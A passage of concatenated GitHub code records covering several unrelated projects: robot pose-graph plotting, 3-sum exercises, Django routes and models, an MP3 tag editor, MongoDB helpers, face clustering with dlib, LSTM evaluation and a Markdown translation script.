#######  ######## #### ##    ##  ######\n##     ## ##       ##     ##    ##     ##  ###   ## ##    ##\n##     ## ##       ##     ##    ##     ##  ####  ## ##\n########  ##       ##     ##    ##     ##  ## ## ## ##   ####\n##        ##       ##     ##    ##     ##  ##  #### ##    ##\n##        ##       ##     ##    ##     ##  ##   ### ##    ##\n##        ########  #######     ##    #### ##    ##  ######\n\"\"\"\n\n\ndef plot_2d_gt_traj(ax, values, lin, **kwargs):\n    if lin == \"nonlinear\":\n        poses = gtsam.utilities.allPose2s(values)\n        x, y = [], []\n        for key in poses.keys():\n            pose = poses.atPose2(key)\n            x.append(pose.x())\n            y.append(pose.y())\n        ax.plot(x, y, **kwargs)\n    else:\n        points = gtsam.utilities.extractPoint2(values)\n        ax.plot(points.T[0], points.T[1], **kwargs)\n\n\ndef plot_3d_traj(ax, poses, lin, **kwargs):\n    if lin == \"nonlinear\":\n        x, y, z = [], [], []\n        for pose in poses:\n            x.append(pose.x())\n            y.append(pose.y())\n            z.append(pose.z())\n        ax.plot(x, y, z, **kwargs)\n\ndef plot_2d_traj(ax, poses, lin, **kwargs):\n    if lin == \"nonlinear\":\n        x, y = [], []\n        for pose in poses:\n            x.append(pose.x())\n            y.append(pose.y())\n        ax.plot(x, y, **kwargs)\n\ndef plot_link(ax, k1, k2, values, color, alpha, is3d, lin, marker):\n    try:\n        if lin == \"nonlinear\":\n            if is3d:\n                p1, p2 = values.atPose3(k1), values.atPose3(k2)\n                ax.plot(\n                    [p1.x(), p2.x()],\n                    [p1.y(), p2.y()],\n                    [p1.z(), p2.z()],\n                    color=color,\n                    alpha=alpha,\n                    marker=marker,\n                )\n            else:\n                p1, p2 = values.atPose2(k1), values.atPose2(k2)\n                ax.plot(\n                    [p1.x(), p2.x()],\n                    [p1.y(), p2.y()],\n                    color=color,\n                    alpha=alpha,\n                    marker=marker,\n                )\n        else:\n            if is3d:\n                p1, p2 = values.atPoint3(k1), values.atPoint3(k2)\n                ax.plot(\n                    [p1[0], p2[0]],\n                    [p1[1], p2[1]],\n                    [p1[2], p2[2]],\n                    color=color,\n                    alpha=alpha,\n                    marker=marker,\n                )\n            else:\n                p1, p2 = values.atPoint2(k1), values.atPoint2(k2)\n                ax.plot(\n                    [p1[0], p2[0]],\n                    [p1[1], p2[1]],\n                    color=color,\n                    alpha=alpha,\n                    marker=marker,\n                )\n\n    except Exception:\n        print(\"WARNING could not plot link\")\n\n\ndef plot_dot(ax, k, values, color, alpha, is3d):\n    p1 = values.atPose2(k)\n    ax.plot([p1.x()], [p1.y()], marker=\"o\", color=color, alpha=alpha)\n\n\ndef plot_posegraph_results(ax, values, result_modes, irl_log, is3d, show_legend=True):\n    \"\"\"\n    Plots the results from a method in 2d\n    \"\"\"\n    for i in range(min(len(irl_log.entries), len(result_modes))):\n        entry, mode = irl_log.entries[i], result_modes[i]\n        if isinstance(entry, irl_types.Prior):\n            pass  # TODO (dan) how to handle multimodal prior\n        elif isinstance(entry, irl_types.Odometry):\n            color = (\n                CORRECT_ODOM_COLOR if entry.correct_mode == mode else WRONG_ODOM_COLOR\n            )\n            plot_link(\n                ax,\n                entry.start_key,\n                entry.end_key,\n                values,\n                color, # used for ex gridworld image \"gray\",\n                1,\n                is3d,\n                irl_log.header.linearity,\n                \"\",\n            )\n\n        elif isinstance(entry, irl_types.Loop):\n            color, endpoint, marker = get_loop_color(\n                calc_outlier_type(entry, mode), entry, mode\n            )\n            plot_link(\n                ax,\n                entry.pose_a_key,\n                endpoint,\n                values,\n                color,\n                0.25,\n                is3d,\n                irl_log.header.linearity,\n                marker,\n            )\n        else:\n            raise Exception(\"Invalid Entry Found in Pose Graph\")\n\n    # Make empty Plots for Legend\n    leg_entry = lambda c, t: ax.plot([], [], color=c, label=t, linewidth=4)\n    \n    # TEMP FOR DCIST SLIDES (aug 2022)\n    # leg_entry(CORRECT_ODOM_COLOR, \"Trajectory\")\n    # leg_entry(TRUE_POSITIVE_LOOP_COLOR, \"Inlier Loop Closures\")\n    # leg_entry(TRUE_NEGATIVE_LOOP_COLOR, \"Outlier Loop Closures\")\n\n\n    # OLD (CORRECT)\n    #leg_entry(CORRECT_ODOM_COLOR, \"Correct Odometry\")\n    #leg_entry(WRONG_ODOM_COLOR, \"Incorrect Odometry\")\n    leg_entry(TRUE_POSITIVE_LOOP_COLOR, \"True Positive Loop Closure\")\n    leg_entry(FALSE_POSITIVE_LOOP_COLOR, \"False Positive Loop Closure\")\n    leg_entry(TRUE_NEGATIVE_LOOP_COLOR, \"True Negative Loop Closure\")\n    leg_entry(FALSE_NEGATIVE_LOOP_COLOR, \"False Negative Loop Closure\")\n    if show_legend:\n        ax.legend(loc=\"center left\", bbox_to_anchor=(1, 0.5))\n\n\ndef plot_initialization(ax, irl_log,c):\n    poses = []\n    for entry in irl_log.entries:\n        if isinstance(entry, irl_types.Prior):\n            poses.append(entry.measurements[0].pose)\n        elif isinstance(entry, irl_types.Odometry):\n            poses.append(poses[-1].compose(entry.measurements[0].pose))\n\n    x,y=[],[]\n    for pose in poses:\n        x.append(pose.x())\n        y.append(pose.y())\n\n    ax.plot(x,y, \"-.\", color=c, alpha=1)\n    \n\n","repo_name":"rpl-cmu/risam","sub_path":"experiments/scripts/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":7934,"program_lang":"python","lang":"en","doc_type":"code","stars":117,"dataset":"github-code","pt":"51"}
+{"seq_id":"8786703348","text":"# Greedy Algorithms\n\n# Boot camp\ndef change_making(cents):\n    COINS = [100, 50, 25, 10, 5, 1]\n    num_coins = 0\n    for coin in COINS:\n        num_coins += cents // coin\n        cents %= coin\n    return num_coins\n\n\n# 17.4 The 3-Sum Problem\n# A function, quantity or property that does not change when a specific transformation is applied.\n\n# from We can improve the time complexity :\ndef has_three_sum(A, t):\n    A.sort()\n    return any(has_two_sum(A, t - a) for a in A)\n\n\n#  two pointer has two sum\ndef has_two_sum(A, t):\n    i, j = 0, len(A) - 1\n\n    while i <= j:\n        if A[i] + A[j] == t:\n            return True\n        elif A[i] + A[j] < t:\n            i += 1\n        else:  # A[i] + A[j] > t.\n            j -= 1\n    return False\n\n# Variant1: solve three sum when three elements are distinct\n\ndef has_three_sum_distinct(A, t):\n    from sortedcontainers import SortedSet\n    A = SortedSet(A)\n    return any(has_two_sum_distinct(A, t - a) for a in A)\n\ndef has_two_sum_distinct(A, t):\n    i, j = 0, len(A) - 1\n\n    while i <= j:\n        if A[i] + A[j] == t:\n            return True\n        elif A[i] + A[j] < t:\n            i += 1\n        else:  # A[i] + A[j] > t.\n            j -= 1\n    return False\n# Variant2: solve the same problem when k, the number of elements to sum, is an additional input\n# https://cs.stackexchange.com/questions/2973/generalised-3sum-k-sum-problem\n# for even k: compute a sorted list S of all sums of k/2\n\n\ndef has_k_sum_distinct(A, t, k):\n    from sortedcontainers import SortedSet\n    A = SortedSet(A)\n\n    # base case k = 3\n    if k == 3:\n        return any(has_two_sum_distinct(A, t - a) for a in A)\n    else:\n        return any(has_k_sum_distinct(A, t - a, k - 1) for a in A)\n\n\n\n","repo_name":"Meshugah/EPI","sub_path":"src/C0/_174_.py","file_name":"_174_.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"15441671933","text":"# canevas automatique avec dessin de carres pour representer des blocs\n# y = colonnes\n# x = rangees\n\nx = 3\ny = 4\nblocW = 20\nbloch = 20\nbloc = []\n\nfor i in range (0, x*y):\n    bloc.append({i*20, i + 20})\n    if i % y == 0:\n        print(i)\n        print(\"\\n\")\n    else:\n        print(i)\n        \nprint (bloc)\n   ","repo_name":"jkero/elections","sub_path":"matrices-tests.py","file_name":"matrices-tests.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"38161672860","text":"\"\"\"Banco URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom DjangoLivre.views import CreateUser, UserView, CreateTransfer, TransfersView, UserSearch, TransfersPerformed,\\\n     TransfersReceived,  AccountsView, MainPage, AccountView\n\nfrom django.conf.urls import url\nfrom rest_framework import permissions\nfrom drf_yasg.views import get_schema_view\nfrom drf_yasg import openapi\n\n\"\"\"\nSwagger is used in conjunction with a set of software tools\nsource software for designing, building, documenting, and using RESTful web services.\n\"\"\"\nschema_view = get_schema_view(\n   openapi.Info(\n      title=\"Snippets API\",\n      default_version='v1',\n      description=\"Test description\",\n      terms_of_service=\"https://www.google.com/policies/terms/\",\n      contact=openapi.Contact(email=\"contact@snippets.local\"),\n      license=openapi.License(name=\"BSD License\"),\n   ),\n   public=True,\n   permission_classes=(permissions.AllowAny,),\n)\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('', MainPage.as_view()),\n    path('create-user/', CreateUser.as_view()),\n    path('user/<str:cpf>/', UserSearch.as_view()),\n    path('all-users/', UserView.as_view()),\n    path('transfer/', CreateTransfer.as_view()),\n    path('all-transfers/', TransfersView.as_view()),\n    path('transfers-received/<str:cpf>/', TransfersReceived.as_view()),\n    path('transfers-performed/<str:cpf>/', TransfersPerformed.as_view()),\n    path('all-accounts/', AccountsView.as_view()),\n    path('account/<str:cpf>/', AccountView.as_view()),\n\n\n]\n\n\"\"\"\nRoutes to submit documentation:\n- Requests;\n- Returns\n\"\"\"\n# Swagger\nurlpatterns += [\n   url(r'^swagger(?P<format>\\.json|\\.yaml)$', schema_view.without_ui(cache_timeout=0), name='schema-json'),\n   url(r'^swagger/$', schema_view.with_ui('swagger', cache_timeout=0), name='schema-swagger-ui'),\n   url(r'^redoc/$', schema_view.with_ui('redoc', cache_timeout=0), name='schema-redoc'),\n\n]\n","repo_name":"thaisbighetti/django-livre","sub_path":"Banco/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2537,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"51"}
+{"seq_id":"38412127885","text":"import os\nimport sys\nfrom copy import deepcopy\nfrom fnmatch import fnmatchcase\n\nfrom unidecode import unidecode\nfrom typing import List, Tuple, Any, Callable\nfrom mutagen.easyid3 import EasyID3\nfrom mutagen.id3 import ID3\n\n__all__ = [\n    'id3_diff', 'Tags', 'ID3Tags', 'EasyID3Tags', 'prepare',\n    'Action', 'ActionGenerator', 'Applier',\n]\n\n\ndef id3_diff(value1, value2) -> List[str]:\n    if value1 == value2:\n        return []\n\n    if value1 is None or value2 is None:\n        return [\"%s --> %s\" % (prepare(repr(value1)), prepare(repr(value2)))]\n\n    items1, subs1 = value1\n    items2, subs2 = value2\n    map1 = dict(items1)\n    map2 = dict(items2)\n    result = []\n\n    for key in sorted(set(map1) | set(map2)):\n        before = map1[key] if key in map1 else None\n        after = map2[key] if key in map2 else None\n        if before != after:\n            result.append(\"%s. %s --> %s\" % (key, prepare(repr(before)), prepare(repr(after))))\n        before_sub = subs1[key] if key in subs1 else None\n        after_sub = subs2[key] if key in subs2 else None\n        for change in id3_diff(before_sub, after_sub):\n            result.append('. '.join((key, change)))\n\n    return result\n\n\nclass Tags:\n    def __init__(self, path) -> None:\n        super().__init__(path)\n        self.__backup = None\n        self.apply()\n\n    def apply(self) -> None:\n        self.__backup = deepcopy(self._copy())\n\n    def cancel(self) -> None:\n        self._restore(self.__backup)\n\n    def _copy(self) -> Any:\n        raise NotImplementedError()\n\n    def _restore(self, value: Any) -> None:\n        raise NotImplementedError()\n\n    @classmethod\n    def _diff2(cls, value1: Any, value2: Any) -> List[str]:\n        raise NotImplementedError()\n\n    def diff(self) -> List[str]:\n        return self._diff2(self.__backup, self._copy())\n\n    def write(self) -> None:\n        raise NotImplementedError()\n\n\nclass ID3Tags(Tags, ID3):\n    @classmethod\n    def _diff2(cls, value1: Any, value2: Any) -> List[str]:\n        return id3_diff(value1, value2)\n\n\nclass EasyID3Tags(Tags, EasyID3):\n    def get_id3(self) -> ID3:\n        return self._EasyID3__id3\n\n    def _copy(self) -> Any:\n        return self.get_id3()._copy()\n\n    def _restore(self, value: Any) -> None:\n        return self.get_id3()._restore(value)\n\n    @classmethod\n    def _diff2(cls, value1: Any, value2: Any) -> List[str]:\n        return id3_diff(value1, value2)\n\n\nclass ActionGenerator:\n    def generate(self, tags: Tags) -> List['Action']:\n        raise NotImplementedError()\n\n\nclass Action(ActionGenerator):\n    def generate(self, tags: Tags) -> List['Action']:\n        return [self]\n\n    def apply(self, tags: Tags) -> None:\n        raise NotImplementedError()\n\n    def key(self) -> str:\n        raise NotImplementedError()\n\n\ndef prepare(s: str) -> str:\n    s = unidecode(s)\n    s = ''.join(repr(c)[1:-1] if c.isspace() else c for c in s)\n    if len(s) > 500:\n        s = s[:400] + '...' + s[:100]\n    return s\n\n\ndef parent_name(path: str, num: int) -> str:\n    if num == 0:\n        return os.path.basename(path)\n    return parent_name(os.path.dirname(path), num - 1)\n\n\nclass Applier:\n    def __init__(self, get_tags: Callable[[str], Tags], generators: List[ActionGenerator]) -> None:\n        self.to_all = {}\n        self.get_tags = get_tags\n        self.generators = generators\n\n    @staticmethod\n    def ask(question: str) -> Tuple[bool, bool]:\n        print(question)\n        while True:\n            response = sys.stdin.readline().rstrip('\\n')\n            if response == 'N':\n                return False, False\n            if response == 'Y':\n                return True, False\n            if response == 'NA':\n                return False, True\n            if response == 'YA':\n                return True, True\n            print(\"Please, input one of these: ['N', 'Y', 'NA', 'YA']\")\n\n    @staticmethod\n    def get_pattern(key: str) -> str:\n        print(\"Enter a pattern for the key: %s\" % prepare(key))\n        while True:\n            response = sys.stdin.readline().rstrip('\\n')\n            if fnmatchcase(key, response):\n                return response\n            print(\"Key doesn't match the pattern\")\n\n    def decide_action(self, path: str, key: str, diff: List[str]) -> bool:\n        for pattern, value in self.to_all.items():\n            if fnmatchcase(key, pattern):\n                return value\n        answer, assign_to_all = self.ask(\n            \"Perform action %s on %s?\\n%s\" % (prepare(key), prepare(path), '\\n'.join(diff))\n        )\n        if assign_to_all:\n            pattern = self.get_pattern(key)\n            self.to_all[pattern] = answer\n        return answer\n\n    def process_action(self, path: str, tags: Tags, action: Action) -> bool:\n        action.apply(tags)\n        diff = tags.diff()\n        if len(diff) == 0:\n            return False\n        if self.decide_action(path, action.key(), diff):\n            tags.apply()\n            return True\n        tags.cancel()\n        return False\n\n    def apply(self, path: str) -> None:\n        try:\n            assert os.path.isfile(path)\n\n            filename, extension = os.path.splitext(os.path.basename(path))\n\n            if extension != '.mp3':\n                print(\"%s has extension different from '.mp3'\" % prepare(path))\n                return\n\n            tags = self.get_tags(path)\n            tags_changed = False\n\n            for generator in self.generators:\n                for action in generator.generate(tags):\n                    if self.process_action(path, tags, action):\n                        tags_changed = True\n\n            if tags_changed:\n                tags.write()\n\n            # print(path)\n            # print(tags.get_id3().keys())\n            # print(tags.keys())\n\n        except:\n            print(\"Error occured while processing %s\" % prepare(path))\n            raise\n\n    def recursive_apply(self, path: str) -> None:\n        if os.path.isdir(path):\n            if os.path.basename(path) in ['__Unsorted', '.sync', 'Rubbish']:\n                return\n            if len(os.listdir(path)) == 0:\n                print(\"%s is empty\" % prepare(path))\n            for f in os.listdir(path):\n                self.recursive_apply(os.path.join(path, f))\n        else:\n            self.apply(path)\n\n    def apply_to_all(self, paths: List[str]) -> None:\n        for path in paths:\n            self.recursive_apply(path)\n","repo_name":"Baz93/MusicUtils","sub_path":"tags/applier.py","file_name":"applier.py","file_ext":"py","file_size_in_byte":6368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"40017788957","text":"from pymongo import collection\nfrom typing import List, Dict\nfrom bson import ObjectId\nfrom ..fieldnames import *\nfrom collections import defaultdict\nfrom ..classes.intervention import Intervention\nfrom .get_objects import get_intervention\nfrom pathlib import Path\n\ndef get_extern_ids(collection):\n    _ = collection.aggregate([\n        {\"$match\": {\"id_extern\": {\"$exists\": True}}},\n        {\"$project\": {\"id_extern\": 1}}\n    ])\n    _ = [_[\"id_extern\"] for _ in _]\n    return _\n\ndef video_keys(collection):\n    _ = collection.aggregate([\n        {\"$match\": {\"video_key\": {\"$exists\": True}}},\n        {\"$project\": {\"video_key\": 1}}\n    ])\n    _ = [_[\"id_extern\"] for _ in _]\n    return _\n\ndef get_all_in_batches(collection: collection, limit: int = 10000, aggregation: List = [{\"$match\": {}}], last_id: ObjectId = None):\n    aggregation = aggregation.copy()\n    if last_id:\n        aggregation.append({\"_id\": {\"$gt\": last_id}})\n    aggregation.append({\"$limit\": limit})\n    cursor = collection.aggregate(aggregation)\n\n    return cursor\n\n\ndef filter_images_by_frame_diff(img_list: List[dict], min_frame_diff: int = 10):\n    # Holy Moly, Bumms ineffizient, muss nachgebessert werden\n    filtered_images_dict = defaultdict(list)\n\n    for img in img_list:\n        intervention_id = img[IMG_INTERVENTION_ID]\n\n        if not img[METADATA][IMG_IS_FRAME]:\n            filtered_images_dict[intervention_id].append(img)\n            continue\n\n        append = True\n        n_frame = img[METADATA][IMG_FRAME_NUMBER]\n        \n        if filtered_images_dict[intervention_id]:\n            for _img in filtered_images_dict[intervention_id]:\n                frame_diff = abs(_img[METADATA][IMG_FRAME_NUMBER] - n_frame)\n                if frame_diff < min_frame_diff:\n                    append = False\n                    break\n        \n        if append:\n            filtered_images_dict[intervention_id].append(img)\n\n    filtered_images = []\n    for key, value in filtered_images_dict.items():\n        filtered_images.extend(value)\n    \n    return filtered_images\n\ndef filter_existing_frames_by_intervention(video_key, frame_paths, db_interventions) -> Dict[int, Path]:\n    intervention = get_intervention(video_key, db_interventions)\n    image_paths = {n: path for n, path in frame_paths.items() if n not in intervention.frames}\n    return image_paths\n\ndef get_base_image_dict_from_intervention(intervention:Intervention):\n    base_image_dict = {\n        \"intervention_id\": intervention.id,\n        \"origin\": intervention.origin,\n        \"video_key\": intervention.video_key,\n        \"predictions\": {},\n        \"annotations\": {},\n        \"metadata\": {}\n    }\n    return base_image_dict","repo_name":"Maddonix/ukw-ml-tools","sub_path":"src/ukw_ml_tools/mongodb/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"302970509","text":"import cv2\nfrom pathlib import Path\nfrom os import listdir,makedirs\nfrom os.path import isfile, join\nimport utils\nimport pickle\nimport dlib\nfrom collections import defaultdict\nfrom sklearn.cluster import AgglomerativeClustering\n\ndef main():\n    cur_dir = Path(__file__).parent.absolute()\n    image_files = [\n        f for f in listdir(cur_dir / \"event26\") if isfile(join(cur_dir / \"event26\", f))\n    ]\n    # face detection;\n    # Use CNN detector rather than HOG to increase accuracy\n    # Besides, CNN method under dlib can use GPU. The prerequisite is cuda cudnn package\n    # detect faces in each image, save images with result in file detect_result\n    print(dlib.DLIB_USE_CUDA) # check whether CUDA is in use\n    \"\"\"\n    for f in image_files:\n        print(\"Processing file: {}\".format(f))\n        save_name = join(cur_dir / \"detect_result\", f)\n        image = cv2.imread(join(cur_dir / \"event26\", f))\n        detected_boxes = utils.face_boxes(image)\n        for box in detected_boxes:\n            res_box = utils.process_boxes(box)\n            cv2.rectangle(image, (res_box[0], res_box[1]),\n                  (res_box[2], res_box[3]), (0, 255, 0), \n                  2)\n        cv2.imshow('Result', image)\n        cv2.waitKey(1)\n        if not cv2.imwrite(save_name, image):\n            raise Exception(\"Could not write image\")\n        print(f\"Total faces detected: {len(detected_boxes)}\")\n    \"\"\"\n    # face encoding\n    path1 = Path(cur_dir/\"encodings/descriptors.pickle\")\n    path2 = Path(cur_dir/\"encodings/ims.pickle\")\n    if not path1.is_file() and not path2.is_file():\n        descriptors = []\n        ims = []\n        for f in image_files:\n            print(\"Processing file: {}\".format(f))\n            image = cv2.imread(join(cur_dir / \"event26\", f))\n            descriptors_sub, ims_sub = utils.face_landmarks_encodings(image)\n            descriptors.extend(descriptors_sub)\n            ims.extend(ims_sub)\n        # save objects\n        with open(cur_dir/\"encodings/descriptors.pickle\", \"wb\") as f:\n            pickle.dump(descriptors, f)\n        with open(cur_dir/\"encodings/ims.pickle\", \"wb\") as f:\n            pickle.dump(ims, f)\n    elif not path1.is_file() or not path2.is_file():\n        raise Exception(\"Remove the file\")\n    else:\n        # read descriptors and ims\n        with open(cur_dir/\"encodings/descriptors.pickle\", \"rb\") as f:\n            descriptors = pickle.load(f)\n        with open(cur_dir/\"encodings/ims.pickle\", \"rb\") as f:\n            ims = pickle.load(f)\n\n        \"\"\"\n        # use the dlib.chinese_whispers_clustering() for clustering\n        labels = dlib.chinese_whispers_clustering(descriptors, 0.5)\n        num_classes = len(set(labels))\n        print(\"Number of clusters: {}\".format(num_classes))\n        # under chinese_whispers_clustering, we have in total 21 clusters with threshold 0.5. \n        # Some of clusters have satisfying result, i.e., cluster the same person into one label, such as label 2 (folder 2)\n        # Some clusrters give acceptable classicafication, i.e., mistake someone else's face as the current person,\n        # such as label 1 (folder 1)\n        # Some clusters fail to make meaningful classification,i.e., they include all face chips that are deviated from \n        # other identified labels, such as label 0 (folder 0) that contains mostly female faces and label 5 (folder 5) that \n        # includes mostly side faces.\n        # Such problem may due to small cluster numbers (equivlently, the threshold is too large)\n        # We may  improve it with a smaller threshold, but the optimal value is very time-consuming to determine\n        # Therefore, we switch to use another method, where we can specify the number of clusters. (dlib.chinese_whispers_clustering\n        # only intakes threshold)\n        \"\"\"\n        # We try to use a method that is designed for a large cluster number\n        # We implement hierarchical clustering as an alternative clustering method\n        # n_clusters is estimated based on the dataset\n        labels = AgglomerativeClustering(linkage=\"ward\",n_clusters = 70).fit(descriptors).labels_\n        num_classes = len(set(labels))\n        print(\"Number of clusters: {}\".format(num_classes))\n\n\n        face_dict = defaultdict(list)\n        for i in range(len(labels)):\n            face_dict[labels[i]].append(ims[i])\n        \"\"\"\n        for key in face_dict.keys():\n            file_dir1 = join(cur_dir/\"output_chips\",str(key))\n            file_dir2 = join(cur_dir/\"output_images\",str(key))\n            if not Path(file_dir1).is_file():\n                makedirs(file_dir1)\n            if not Path(file_dir2).is_file():\n                makedirs(file_dir2)\n            for index, (image,shape) in enumerate(face_dict[key]):\n                # save face chips\n                file_path1 = join(file_dir1, \"face_\"+str(index))\n                image_rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n                dlib.save_face_chip(image_rgb, shape, file_path1, size = 150, padding = 0.25)\n                # save full image\n                file_path2 = join(file_dir2, \"image_\"+str(index)+\".jpg\")\n                if not cv2.imwrite(file_path2, image):\n                    raise Exception(\"Could not write image\")\n    # reference: http://dlib.net/face_clustering.py.html\n            \"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"zerunwang1231/Face-Clustering","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"42740695651","text":"from django.db import models\nfrom asignaciones.models import AsignacionNi\nfrom actividades.models import Actividad\nfrom estaciones.models import Estacion\nfrom users.models import Perfil\nfrom . import choices\nfrom actividades import choices as actividades_choices\n\nclass Falla(models.Model):\n    asignacion_ni = models.ForeignKey(AsignacionNi, on_delete=models.CASCADE, blank=True, null=True, related_name='fallas')\n    actividad = models.ForeignKey(Actividad, on_delete=models.CASCADE, blank=True, null=True, related_name='fallas')\n    wp = models.BigIntegerField(blank=True, null=True)\n    service_supplier = models.CharField(max_length=255, choices=actividades_choices.SERVICE_SUPPLIER_CHOICES, blank=True, null=True)\n    estacion = models.ForeignKey(Estacion, on_delete=models.CASCADE, blank=True, null=True, related_name='fallas')\n    banda = models.CharField(max_length=255, blank=True, null=True)\n    proyecto = models.CharField(max_length=255, blank=True, null=True)\n    escenario = models.CharField(max_length=255, blank=True, null=True)\n    ni_ingeniero = models.ForeignKey(Perfil, on_delete=models.CASCADE, blank=True, null=True, related_name='fallas')\n    concepto = models.TextField(blank=True, null=True)\n    tipo_falla = models.CharField(max_length=255, choices=choices.TIPO_FALLA_CHOICES, blank=True, null=True)\n\n    estado = models.BooleanField(default=False, editable=False)\n    subestado = models.BooleanField(default=False, editable=False)\n    creado = models.DateTimeField(auto_now_add=True)\n    actualizado = models.DateTimeField(auto_now=True)\n\n    class Meta:\n        ordering = ('creado',)\n        verbose_name = \"falla\"\n        verbose_name_plural = \"fallas\"\n\n    def __str__(self):\n        return str(self.id)\n","repo_name":"NOKIA-GAP/trouble-shooting-api","sub_path":"fallas/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"6944072220","text":"import torch\r\n\r\ndef non_concurrent_evaluation_model(model, loss_function,list_tuple, current_sum = None, verbose = False, **kwargs ):\r\n    n_calc = kwargs.get(\"n_calc\", 10)\r\n\r\n    if current_sum is None:\r\n        current_sum = 0\r\n        for _, y in list_tuple:\r\n            current_sum += sum(y[-n_calc:, 0])\r\n\r\n    cumulated_loss = 0\r\n\r\n    for X,y in list_tuple:\r\n        y_pred = model.predict_non_concurrent_step(X)\r\n        single_loss = loss_function(y_pred[-n_calc:, 0], y[-n_calc:, 0])\r\n        cumulated_loss += single_loss.item()\r\n\r\n    if verbose:\r\n        print('MAPE : %.4f' % (100 * cumulated_loss/current_sum))\r\n    return 100 * cumulated_loss/current_sum\r\n\r\n\r\ndef concurrent_evaluation_model(model, loss_function, list_tuple, current_sum=None, verbose=False, **kwargs):\r\n    n_calc = kwargs.get(\"n_calc\", 10)\r\n\r\n    if current_sum is None:\r\n        current_sum = 0\r\n        for mat_step in list_tuple:\r\n            for _, y in mat_step:\r\n                current_sum += sum(y[-n_calc:, 0])\r\n\r\n    cumulated_loss = 0\r\n\r\n    for mat_step in list_tuple:\r\n        if len(mat_step) != 0:\r\n            partial_sum = torch.tensor(mat_step[0][1])\r\n            for j in range(1, len(mat_step)):\r\n                partial_sum += mat_step[j][1]\r\n\r\n            sum_prediction = torch.ones(partial_sum.shape)\r\n\r\n            for X_train, _ in mat_step:\r\n                model.reinitialize()\r\n                sum_prediction += model(X_train)\r\n\r\n            for X,y in mat_step:\r\n                y_pred = partial_sum * model(X) / sum_prediction\r\n                single_loss = loss_function(y_pred[-n_calc:, 0], y[-n_calc:, 0])\r\n                cumulated_loss += single_loss.item()\r\n\r\n    if verbose:\r\n        print('MAPE : %.4f' % (100 * cumulated_loss / current_sum))\r\n    return 100 * cumulated_loss / current_sum\r\n\r\n\r\ndef write_model(file, famille, epoch,err):\r\n    f = open(file,'a')\r\n    f.write('Famille: %s\\n' % famille)\r\n    f.write(\"Epoch: %s\\n\" % epoch)\r\n    f.write('MAPE: %.4f\\n' % err)\r\n    f.close()","repo_name":"garnier94/Concurrent_RNN","sub_path":"concurrent_lstm/systematisation.py","file_name":"systematisation.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"35059529770","text":"import os\nimport re\nimport sys\nimport logging\nimport traceback\n\nfrom .helpers.hash import hash\nfrom .helpers.translate import translate, FileCache\nfrom .helpers.languages import get_all_languages\nfrom .helpers.serialize import serialize_text, deserialize_text\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(\"\")\n\ndef parse_into_blocks(content):\n    \"\"\"\n    - We parse Markdown into individual lines\n    - If we encounter special ignoretags, we ignore everything inside them\n    \"\"\"\n    lines = content.split(\"\\n\")\n    blocks = []\n    ignore_text = \"\"\n    ignore = False\n    is_code = False\n    code_lines = []\n    for line in lines:\n        if line.startswith('```'):\n            if is_code:\n                code_lines.append(line)\n                blocks.append({'type': 'code', 'code': \"\\n\".join(code_lines)})\n                code_lines = []\n                is_code = False\n                continue\n            is_code = not is_code\n        if is_code:\n            code_lines.append(line)\n            continue\n        if (not ignore) and re.match(r\"^\\s*<\\!--translate:ignore-->\\s*$\", line):\n            ignore = True\n            continue\n        elif ignore and re.match(r\"<\\!--translate:ignore-->\\s*$\", line):\n            blocks.append({'type': 'ignore', 'text' : ignore_text})\n            ignore = False\n            ignore_text = \"\"\n            continue\n        # we ignore everything inside the 'ignore' block\n        if ignore:\n            ignore_text += line + \"\\n\"\n            continue\n        blocks.append({'type': 'text', 'text': line})\n    return blocks\n\ndef translate_file(token, source_path, destination_path, source_language, target_language, clean=False):\n    count = 0\n\n    with open(source_path) as input_file:\n        content = input_file.read()\n\n    cache = FileCache(source_path+\".trans\")\n\n    blocks = parse_into_blocks(content)\n\n    for i, block in enumerate(blocks):\n        if block['type'] == 'text':\n            source_text = block['text']\n            existing_translation = cache.get(source_text, target_language, source_language=source_language)\n            if existing_translation is None:\n                # included for backwards-compatibility\n                existing_translation = cache.get(serialize_text(source_text), target_language, source_language=source_language)\n            if existing_translation is not None:\n                # we already have translated this block\n                block['translation'] = existing_translation\n                continue\n            count += len(source_text)\n            translation = deserialize_text(translate(serialize_text(source_text), source_language, target_language, token))\n            cache.set(source_text, target_language, translation, source_language=source_language)\n            block['translation'] = translation\n\n    os.makedirs(os.path.dirname(destination_path), exist_ok=True)\n\n    with open(destination_path, \"w\") as output_file:\n        for block in blocks:\n            if block['type'] 